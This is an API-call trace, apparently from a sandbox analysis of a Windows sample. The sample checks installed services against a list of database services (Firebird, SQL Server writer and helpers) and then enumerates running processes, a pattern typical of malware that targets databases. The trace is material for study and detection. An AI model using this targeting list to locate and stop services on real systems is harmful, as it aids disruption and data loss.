	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0190.882] lstrlenW (lpString="MpsSvc") returned 6
	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0190.883] lstrlenW (lpString="NcbService") returned 10
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0190.883] lstrlenW (lpString="netprofm") returned 8
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0190.883] lstrlenW (lpString="NgcSvc") returned 6
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0190.883] lstrlenW (lpString="NlaSvc") returned 6
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0190.883] lstrlenW (lpString="nsi") returned 3
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0190.883] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0190.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0190.883] lstrlenW (lpString="PcaSvc") returned 6
	[0190.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0190.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0190.884] lstrlenW (lpString="PlugPlay") returned 8
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0190.884] lstrlenW (lpString="Power") returned 5
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0190.884] lstrlenW (lpString="ProfSvc") returned 7
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0190.884] lstrlenW (lpString="RpcEptMapper") returned 12
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0190.884] lstrlenW (lpString="RpcSs") returned 5
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0190.884] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0190.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0190.884] lstrlenW (lpString="SamSs") returned 5
	[0190.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0190.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0190.885] lstrlenW (lpString="Schedule") returned 8
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0190.885] lstrlenW (lpString="SecurityHealthService") returned 21
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0190.885] lstrlenW (lpString="SENS") returned 4
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0190.885] lstrlenW (lpString="ShellHWDetection") returned 16
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0190.885] lstrlenW (lpString="Spooler") returned 7
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0190.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0190.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0190.885] lstrlenW (lpString="StateRepository") returned 15
	[0190.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0190.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0190.886] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0190.886] lstrlenW (lpString="SysMain") returned 7
	[0190.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0190.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0190.886] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0190.886] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0190.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0190.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0190.886] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0190.886] lstrlenW (lpString="Themes") returned 6
	[0190.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0190.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0190.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0191.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0191.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0191.174] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0191.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0191.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0191.174] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0191.174] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0191.175] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7af770 | out: hHeap=0x750000) returned 1
	[0191.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380
	[0191.179] Process32FirstW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0191.179] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0191.180] lstrlenW (lpString="System") returned 6
	[0191.180] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0191.180] lstrlenW (lpString="smss.exe") returned 8
	[0191.180] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0191.181] lstrlenW (lpString="csrss.exe") returned 9
	[0191.181] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0191.181] lstrlenW (lpString="wininit.exe") returned 11
	[0191.181] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0191.182] lstrlenW (lpString="csrss.exe") returned 9
	[0191.182] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0191.182] lstrlenW (lpString="winlogon.exe") returned 12
	[0191.182] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0191.183] lstrlenW (lpString="services.exe") returned 12
	[0191.183] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0191.184] lstrlenW (lpString="lsass.exe") returned 9
	[0191.184] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0191.184] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0191.184] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0191.185] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0191.185] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.185] lstrlenW (lpString="svchost.exe") returned 11
	[0191.185] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.186] lstrlenW (lpString="svchost.exe") returned 11
	[0191.186] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0191.186] lstrlenW (lpString="dwm.exe") returned 7
	[0191.186] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.187] lstrlenW (lpString="svchost.exe") returned 11
	[0191.187] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.187] lstrlenW (lpString="svchost.exe") returned 11
	[0191.187] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.188] lstrlenW (lpString="svchost.exe") returned 11
	[0191.188] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.188] lstrlenW (lpString="svchost.exe") returned 11
	[0191.188] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.189] lstrlenW (lpString="svchost.exe") returned 11
	[0191.189] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.189] lstrlenW (lpString="svchost.exe") returned 11
	[0191.189] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.190] lstrlenW (lpString="svchost.exe") returned 11
	[0191.190] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.190] lstrlenW (lpString="svchost.exe") returned 11
	[0191.190] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.191] lstrlenW (lpString="svchost.exe") returned 11
	[0191.191] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.191] lstrlenW (lpString="svchost.exe") returned 11
	[0191.191] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0191.191] lstrlenW (lpString="spoolsv.exe") returned 11
	[0191.192] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.192] lstrlenW (lpString="svchost.exe") returned 11
	[0191.192] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0191.192] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0191.192] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0191.193] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0191.193] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0191.193] lstrlenW (lpString="audiodg.exe") returned 11
	[0191.193] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0191.194] lstrlenW (lpString="Memory Compression") returned 18
	[0191.194] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0191.194] lstrlenW (lpString="taskhostw.exe") returned 13
	[0191.194] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0191.195] lstrlenW (lpString="sihost.exe") returned 10
	[0191.195] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.195] lstrlenW (lpString="svchost.exe") returned 11
	[0191.195] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0191.196] lstrlenW (lpString="taskhostw.exe") returned 13
	[0191.196] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0191.196] lstrlenW (lpString="explorer.exe") returned 12
	[0191.196] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0191.197] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0191.197] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0191.197] lstrlenW (lpString="SearchUI.exe") returned 12
	[0191.197] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0191.198] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0191.198] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0191.198] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0191.198] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0191.199] lstrlenW (lpString="dllhost.exe") returned 11
